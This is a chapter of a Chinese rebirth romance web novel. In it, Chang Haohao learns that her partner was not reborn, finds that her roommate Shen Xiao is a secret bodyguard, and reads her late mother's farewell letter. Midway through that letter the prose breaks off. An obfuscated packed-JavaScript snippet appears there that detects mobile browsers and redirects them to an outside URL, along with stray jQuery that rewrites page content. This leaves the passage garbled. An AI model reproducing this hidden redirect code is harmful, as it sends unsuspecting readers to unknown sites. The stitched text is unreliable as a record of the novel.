51. 醒来
作品:《雾醒》 苏淼、陆颂……
默默读完所有字,泪水止不住地涌出眼眶。她笑了,放声大笑,觉得一切可笑极了。
她,好像一个白痴,被人耍的团团转。
房间让她喘不过气。常好好脑子里一片混沌,匆匆忙忙离开凌枫家。
停车场,她的车旁边站着一个陌生男人,见她拉车门,确定是她的车,开始叨叨不停。
“妹子,你车停的位置真绝,咱不能好好把车停好吗?非给车屁股压到我车位的边——”
“对不起,太着急没来得及挪。”
近距离观察常好好的脸,被她脸上的苍白惊到,寻思她态度好,男人语气放软:“……算了,你肯定不是故意的。”
常好好驾车离开停车场。
她不知道目的地在哪,家里有沈骁,她不知道如何面对,是质问,还是沉默。至于安燃,同样不接她的电话,不知道在忙什么。
心中刚吐槽完安燃,安燃便给她打来电话:“好好,你在哪呢?”
常好好下意识回答:“车上。”
“我是说你的位置,”安燃放低声音说,“我和江翊还有她朋友在一起,刚才他们在身边没法接你的电话,现在他们去卫生间了。”从声音都能听出来他像做贼一样,“我跟你说江翊竟然提起了你,一会儿你过来吧,我就说你正好找我,我们四个一起吃顿饭,等饭后我送江翊回去,你正好送她朋友回家。”
常好好不想回应。
这他么是人提出来的建议吗?
电话那边没声,安燃又开口:“我请客好吧,你帮帮忙呗,我感觉好多事和重生前不一样,江翊提到你都没提到凌枫,反而她朋友提到江翊是我的球迷。”
安燃说个不停。常好好本来心里烦躁得很,被他叨叨叨的嘀咕声影响反倒静了下来。仔细品了品安燃的话从中找出重点。
别看平时安燃没心没肺,一到江翊的事比谁都用心。距离江翊出事还有一年多的时间。她明白,安燃比她懂江翊。
“安燃,江翊的事交给你了,你一定要想方法改变她上一世的走向。”她道。
“放心,我不会让她重蹈覆辙。”安燃语气笃定,忽然焦急起来,“她们出来了,我在滨海广场,你从空中飞车那边过来找我们,先挂了。”
滨海广场是反方向。常好好打左转灯,原路返回。
“这儿呢。”安燃朝常好好疯狂招手。
常好好挤出一抹笑走过去。她和江翊以及她的朋友金晔打招呼。看到金晔,一瞬间觉得很眼熟,好像在哪儿见过。
安燃趁江翊和金晔不注意给她使眼色,然后说道:“我们去对面吃海鲜。”
听到海鲜,常好好眯了眯眼,暗中瞪安燃一眼。典型的重色轻友,明知她不吃海鲜还提议。心里如是想,嘴上倒是啥都没说。反倒是江翊道:“换一家吧,对面店里的人好多,排队要排好长时间,我们简单在这附近吃一口吧。”
“没关系,那家店是我们朋友开的,下午我已经让他们留位置了。”
安燃虽热情,但却不过度,最起码不会让人感到不舒服。常好好附和他说了几句,一行四个人来到包厢内。
常好好没食欲,意思意思吃了几口家常菜,海鲜是一口没碰。江翊和安燃边聊边吃,其实也没怎么下筷。主要战斗力在金晔,全程大大方方吃,丝毫不扭捏。
一顿饭吃完,金晔率先开口:“我和江江不顺道,要不我和好好走吧。”
安燃酝酿大半天如何开口,没料到被金晔抢先一步。他越看金晔越顺眼,克制住激动的情绪,给常好好递了一个“你懂的”眼神。
早商量好计划,常好好笑着点头:“好,安燃你正好顺路送江翊,我顺路送金晔回家。”
如此安排,四个人谁都没有意见。
“假如他们俩真成了,我们功不可没。”金晔忽然来了这么一句。
闻言,常好好与金晔对视一笑,尽在不言中。
“走吧,我送你。”常好好提议道。
金晔:“不用,我想回广场散散心。”
思考了一会儿,常好好笑容不再带着假意,“走!我也去散散心。”
吃饭的时候聊天,她才恍然大悟,为何会对金晔有印象,原来金晔是江翊的前同事。
上一世,整个公司除了江翊的小领导帮忙,另一个站出来说出真相的同事就是金晔。只不过这一世,她不是自动离职,而是因为出头其他部门女同事,直接被开除。
这一世,好多时间线发生了变化。
金晔平时经常来滨海广场散心,对这里很是了解,她指着右边,“我们去夜市转转,那里有好多新奇的小玩意。”
听到金晔的话,常好好跟在她身旁,“好啊。”
她只在小时候来过滨海广场几次,后来没再来逛过。
“免费三次套圈,免费三次套圈,错过机会不再。”
“免费三次套圈,免费三次套圈,错过机会不再。”
不远处,有一家套圈用大喇叭循环播放招揽顾客。
“免费”二字富有吸引力,想让人忽略很难。金晔脚步加快,朝着套圈那里走。
看见又来两位,年轻的老板笑眯眯地朝她们递出六个圈。
常好好兴致不大,问道:“我可不可以把三个圈给我朋友。”
年轻老板:“当然可以。”紧接着把手里六个套圈全部交给金晔。
金晔接过六个圈圈,目光扫向下面。地上铺满各种大小的白鹅玩偶。她几乎没迟疑,甩出一个套圈直奔站在最高顶的巨大白鹅。
套圈犹如一个抛物线,稳稳地套在白鹅玩偶的脖子上。
“哇!”
“天啊,竟然套到最上面的白鹅。”
“高手啊。”
随着一声声欢呼,尖锐的哭喊更加引人注目。金晔左边的小孩子涨红了脸,来回跺着小脚,哇哇大哭。孩子妈妈边哄边觉得好笑,“没事的,妈妈给你买一个回家好不好。”
“可是最大的没有了,呜哇……”小孩哭得可怜极了。
金晔两只手接过老板递过来的大白鹅,默默朝小孩子的方向蹲下,手轻轻的抚摸小孩子的头,柔声安慰:“别哭了小朋友。”
她把大白鹅往前递了递,孩子妈妈拼命给她眨眼,在孩子看不见的位置使劲摇头加摆手。
周边的人都盯着这一幕,心想她要把大白鹅送给小朋友。
下一秒,她语重心长地道:“加油小朋友,等你像我这么大时肯定能套中。”
常好好:“……”
她还真是幽默。
常好好对金晔有了新的认识。第一眼望去觉得她是个长相漂亮,很文静的姑娘,没想到性格如此反差。
两个人慢悠悠地走在海边聊天,直到金晔抱着白鹅的手吃劲才打道回府。
“谢了好好,有时间再聚。”金晔抱着白鹅,只露出半张脸,看上去好滑稽。
常好好笑着回应,摆了摆手。
她停在小区门口十分钟,随后启动车朝熟悉的方向开去。
该面对的总要面对。
到了家门口没有敲门,她慢吞吞地伸出手指头,眼看手指即将贴上,身后冷不丁地传来大嗓门——
“好好你回来啦。”
常好好浑身一激灵,手下意识地握住门把手,手心微微出了汗。她闭上眼睛深深呼出一口气,转过身望着罪魁祸首,人家正笑眯眯地看着她。
仔细看,其实有些手足无措。
沈骁见常好好脸色苍白,嘴巴没有血色,才反应过来把人吓到,不好意思地挠了挠头:“对不起好好,我以为你生气不会回来了。”
脑海里闪过无数个画面,心里不断复述着如何与沈骁开口,咋想都想不到会是眼前这种情形。
常好好打开门,伸手示意:“进来再说吧。”
沈骁安安静静坐在那里,搞得常好好一整个不习惯,哪哪不适应,琢磨半天的话到了嘴边,沈骁出声打断,“好好,我知道你去了格斗馆。”
被对方的话惊到忘记说啥,常好好起了一身鸡皮疙瘩。
今天发生的事都过于惊悚,以至于现在的她都处于懵懵,不敢置信的状态里。
“你怎么知道我去了哪里?”她把不解问出口。
“其实这几年里除了接送李嘉晨,大部分时间我都在你身后保护你。”沈骁声音越说越小,“我知道我说出来你可能会觉得震惊甚至不想理我,但是到了这个节骨眼,我不能再隐瞒下去。”
听见保护,常好好头脑清醒了不少,她把一切串联起来,忽地灵光一闪,断断续续地道:“你真是我的……保镖?”
“没错,但我不是你明面上的保镖。我的职责是在暗中保护你。大二那年,陈总找到了我,得知我要做的工作我几乎没有犹豫,”沈骁忽地语速变慢,“我既兴奋又感到幸运。我大学的专业是财会,还好我父母开明,没有阻止我做保镖。”
认真听沈骁说完,常好好静下心,努力回忆她与沈骁重生前与重生后的零散片段,用笃定的语气道:“原来如此,所以大楼坍塌前你才会出现在我身后。”
沈骁点头:“不告诉你是因为我的职责所在。”她抿了抿唇,想忍着却没忍住,唇角向上翘起,“毕竟签了合同的,陈总给我开的不少。”
常好好微微扫过沈骁满足的笑容,抽了抽嘴角,叹了口气道:“我知道了,陈叔那边你不用担心,我装作——”
“没事没事,陈总已经知晓了,我跟他说了。”
常好好:“……”
不愧是沈骁,嘴够快的。
沈骁瞧见常好好非常无语的表情,小声嘀咕:“没办法嘛,陈总给我开工资,我总不能收人家钱不好好干活吧。”
常好好无话可说,双手摊开往沙发靠背上一仰。她发现了,面对沈骁真的一点招没有。
这时,沈骁手机铃声忽然响了,欢快的歌曲倍有节奏感。
沈骁瞄了一眼手机屏幕,手伸出去又抽回来,来回好几次,最后拿起手机把屏幕转向常好好的脸,“枫哥,咋办啊,我要不要接。”
“先别接了,正好有事跟你探讨。”常好好道。
沈骁早料到有大瓜。
今天是周六,她早上匆匆来到凌枫家小区门口蹲守常好好出现,一路跟在后面,发现常好好中途竟然回到凌枫家里,后来又再次出来,并且神情恍惚,脸色很不好看。
她猜到凌枫惹到了常好好,否则为何给她打来那么多通电话问常好好回没回家。于是顺嘴问道:“枫哥惹你生气了?他给我打了好几通电话,我哪敢说其他的呀,我都把你惹生气了,根本不知道怎么与他说,就说我也不知道你在哪,反正没回家。”
“他没重生。”
“哦,没重……没重生?”沈骁一个激动直接跳起来,弹跳力惊人蹦得贼老高,“我不明白,什么叫没重生。”
“字面意思,他不是重生人,但有重生回来的人跟他合作。”常好好翻开手机相册,递给沈骁,“你看看吧。”
沈骁一把接过手机,翻看照片和视频,反复看了多次,“我靠!太可怕了!陆颂和苏淼竟然也是重生回来的?不是?他们是刻意接近我们?”
超大白板上把他们知道的所有重生人写的明明白白,唯独没有凌枫的名字。许多重要事件被人用红色笔打了问号,括号后面有人用绿色笔进行解释,断案小分队几个字和名字同样是用绿色笔。
常好好重新拿回手机,笑中带着讽刺,“多亏这些天苏淼在我们店里帮忙,我比对了她记账的字,发现她的字和绿色笔的字迹一模一样,用绿色笔写字的人就是苏淼。”
沈骁彻底词穷了,她抖着嘴唇,最后来了一句:“恐怖至极。”说完抬眼观察常好好的脸色,安慰道,“可能枫哥他不敢开口,就像我也有事瞒着你一样,怕你生气不理我了。”
常好好心里憋着一股气,脱口而出:“可是我们早上已经——”
沈骁瞪大眼睛,等待常好好继续说下去,急得眉毛挑得老高,眼里的笑意都快溢出来了,抬了抬下巴道:“你们已经干啥了?”
常好好瞬间把到了嘴边的话压了回去,没好气地说:“不是你想的那样,没到那种程度。”
“我没想啥啊。”沈骁挤眉弄眼,“你指的那种程度是哪种程度?”
“……”
“我想静一静,暂时不想回复他。”常好好拿起手机,头也不回地往卧室方向走。
见状,沈骁急了,连忙叫住她,“那我怎么办,我到底接不接电话啊?”
“随你。”
常好好留下这两个字,消失在沈骁眼前。她迈着沉重的步子踏入卧房,看见床丝毫没有犹豫,趴在床上把脸埋起来。不知过了多久,才起身去卫生间收拾一番,等再坐回床上,脸色明显比刚才好上一点,至少没那般苍白。
她仅仅坐下来半分钟,立刻下床打扫卧室卫生,完全忘记今天是生理期第二天。
等收拾得一滴灰尘都找不到,开始着手整理柜子里的东西。翻到最上面的时候,手微微停顿。犹豫片刻,抬起脚尖将一个精美的红色盒子取下来。
盒子里放着成初霁为她折的千纸鹤和小星星。
陈明告诉她身世便将这个盒子转交给了她,嘴上一句话没说,却红了眼眶。
那时她刚高考结束,不懂陈明为何会难过成那样,现在仔细想想,许是想到了她的母亲。
成初霁后期因为治疗痛苦不堪,因此家里人很少提起。
仅有一次成知聿喝得醉醺醺回家,见她在客厅,定定地望着她,一字一句地说:“为什么?为什么她在最想活的那一天离开。”
咻地,一个红色点点形状的千纸鹤映入眼帘,打断了常好好的回忆。
她轻轻捏起千纸鹤的尾巴,忽然联想到魏筝曾经给沈骁留下的那封信,直觉指引着她,她快速拆开千纸鹤。
工整的字迹展现在眼前,常好好的手不自觉地发抖。
【亲爱的女儿,我很抱歉,在你还未开口说话时便要离开你。
回顾我这一生,我发现所有的一切尽是虚妄。
曾经,我用做错事找存在感,只为得到父亲的关注;我硬着头皮做着不喜欢的事,只为得到周边人的认可;我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392671|197807||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作践自己、放弃自己,只因未得到所爱。
如今我才意识到,我错了,大错特错。我用伤害自己的方式拼命与他人对抗,以为会让别人痛苦,孰不知却让自己陷入困境,再也爬不起来。
原来,我自始至终对抗的人都是我自己啊。这一刻我幡然醒悟,可为时已晚。
不知道你会在何时何地打开这封信。
总之,我希望你能开心做自己。
愿你这一生善待自己、取悦自己、活出自己。好好吃饭、好好睡觉,好好活着。】
读到最后,泪水再也控制不住。
常好好小心翼翼地折上信纸。
曾经的她同样痛苦过。
她不明白老天爷为何让她出生在这样复杂的家庭里,为何她连自己的父亲是谁都不知道,为何要她承担莫名其妙的恶意。她不停地抱怨、痛苦、挣扎,渐渐地她从中走了出来。
重生后,她原以为她忘记了原生家庭带给她的痛苦。直到这一瞬间她才明白,从前的她并没有真正释然。
但此时此刻,好像一切变得不一样了。
晚上,常好好做了一个有些熟悉的梦。
梦里尽是迷雾,伸手不见五指。
她没有出声,努力让自己冷静下来,试探着挪动脚步。一步一步,共迈出十步,她判断前方仍是平地,于是稍微加快些脚步。
这时,迷雾散去三分之一,眼前能看见光亮。
突如其来的转变让她更加放松,脚步飞快。渐渐地,她好似掌握了节奏和感觉,开始慢跑。
与此同时雾气消散近一半,慢跑变为快跑。
“哐啷!”
脚下忽地被东西绊倒。
因为脚下速度过快,她无法控制身体,惯性朝前扑去,双手和膝盖处传来疼痛,不用看也知道,定是被擦伤破了皮。
“咔啦……咔啦……咔啦……”
空旷的地方传来声音,常好好顾不上理会,咬着牙从地上爬起来。膝盖上的痛使她没有立即站起来,一屁股坐在地上喘着气。
“咔啦……咔啦……咔啦……”
声音没有停止,好像有什么东西在晃动。此时迷雾再次挡住了她的视线。
她闭上眼睛努力辨别声音的方向,顺着声音转过头去,看见了一个被踩扁了的空易拉罐。
红色易拉罐慢慢停下来不再动。她好奇心作祟探头看向易拉罐,观察好一会儿。
忽地,她怔在原地。
易拉罐中间的白色纹路被划掉一部分,她拿起易拉罐费劲地站起来,凭借记忆伸手朝左边摸索,果然摸到了垃圾桶。
垃圾桶仍然满满当当,但不是一点缝隙没有。她尽力将易拉罐按到最小,往缝隙里一塞,易拉罐成功放入垃圾桶内。
常好好笑了,静静地站在迷雾中。
转眼间,迷雾褪去大半,她的眼前逐渐清晰,能准确看见脚下的路。
望着前方的路,她迈出脚步,不快不慢地走着。
走出一大段路,发现周边出现了其他人。奇怪的是他们的脸很模糊,她揉了揉眼睛,无论怎么揉,再睁开眼睛,其他人的脸依旧是模糊不清。
期间,偶尔有人跟她搭话。
“又看见你了,你这是第几次了。”
“是你啊,别怕!一会儿向上爬的时候我帮你。”
“这次我一定能爬上去。”
听着他们与她搭话,常好好微微皱了皱眉。她有点迷茫,不明白他们的意思。
这条路很长。
直到出现拐弯,她迟疑半晌,右转朝前继续走。
正前方出现许多排高高的阶梯和无数条不知道连接到哪里的绳子。阶梯是断层的,想要上去需要借助绳子。
常好好快步走向阶梯,双手牢牢握住绳子,脚踩在台阶上,忍着手心和膝盖处传来的疼痛,一点一点往上爬。
起初她心中无任何想法,爬到中途忽然出神,右手没有使上劲儿,整个身子向下退,还好她左手再次抓紧。
这时,刚才跟她搭话的陌生人一路无言,飞快地拽着她身旁的绳子向上爬。
她咽了下口水,绳子已经被她的手染成了红色。
身体的疼痛难忍,她忍不住哭泣却依然没有放弃,爬到有阶梯的地方让自己暂时停下,给身体休息的时间,紧接着双手用力拽住绳子向上爬。
眼看光亮就在眼前,她咬着牙,脚下再用力一蹬,右手抬起抓住更上面的绳子,左手却没有跟上,突然没了力气。
阶梯空了,她右手快要支撑不住。
猛地,头顶上方悬空出现一只手,紧紧攥住她的左手手腕。
借着这道力,她抬起双腿稳稳落在上方不远处的阶梯上,腰腹同时用力,一鼓作气爬了上去。
“呼……”
周遭的一切变了。
她踩在平的地面上,原本的绳子、阶梯、其他人,全都消失不见。
头顶随之而来的,是万丈光芒。
……
昏暗的房间一片寂静。
常好好侧躺在床上,眉心逐渐放松。
她的右手紧紧牵着左手。
同一时间,客厅里依然灯火通明。
沈骁坐在原位不似刚才那般轻松,她手指挠了挠耳朵,硬着头皮跟旁边的男人说:“枫哥,我估摸着这时候好好已经进入梦乡。其实我呢,也想进入梦乡。你看,要不要你先回去,一切等明天再说?”
凌枫面无表情,嘴角向上艰难地勾了勾,起身笑道:“不打扰你了。”
终于把人熬走了。
沈骁自在地翘起二郎腿,脚一抖一抖的,小声嘟囔:“笑得真假。哎,我这样是不是太得罪人了。”嘴上这么说,眼睛立马恢复清亮,举着手机看视频,与上一秒判若两人。
早晨七点,才睡五个多小时的沈骁被尿憋醒。
上完厕所的她口干舌燥走出房间喝水,路过门口玄关时下意识瞟了一眼,待看清空空如也的地垫,她困意全无,懵逼地站在原地。
“不对呀,鞋呢?”
再上前凑近看,发现她的外鞋被人放在了鞋架,常好好昨天穿回来的外鞋却消失不见,怎么找都没找到。
“不会吧,这么早她去哪儿了?”她自言自语。
一月末是滨城最冷的时候。
常好好停好车,穿上羽绒服,顺手把手机放入副驾驶位置上的包包里。
打开车门的一刹那,冷风袭来,她迟疑片刻,抬腕扒拉出手表。看见时间,关上车门不再回车里,抬脚走上了栈道。
海风像冰刀子,刮得脸生疼。她戴上帽子、裹紧围巾,目光始终停留在远方的海面上,那里有几艘渔船。
她偶尔盯着静止的渔船,偶尔抬头望向灰蒙蒙的天空。
就在睫毛都快冻住的时候,太阳出来了。慢慢地,太阳脱离了海平线的黏着。
原先灰暗的世界被光照耀。
她犹如站在光里,只觉得身上冰冷的寒气正一丝一丝地被抽走。脸、身体、脚,忽然没有了寒意。
“原来,我真的重生了。”她望着那抹光,笑了。

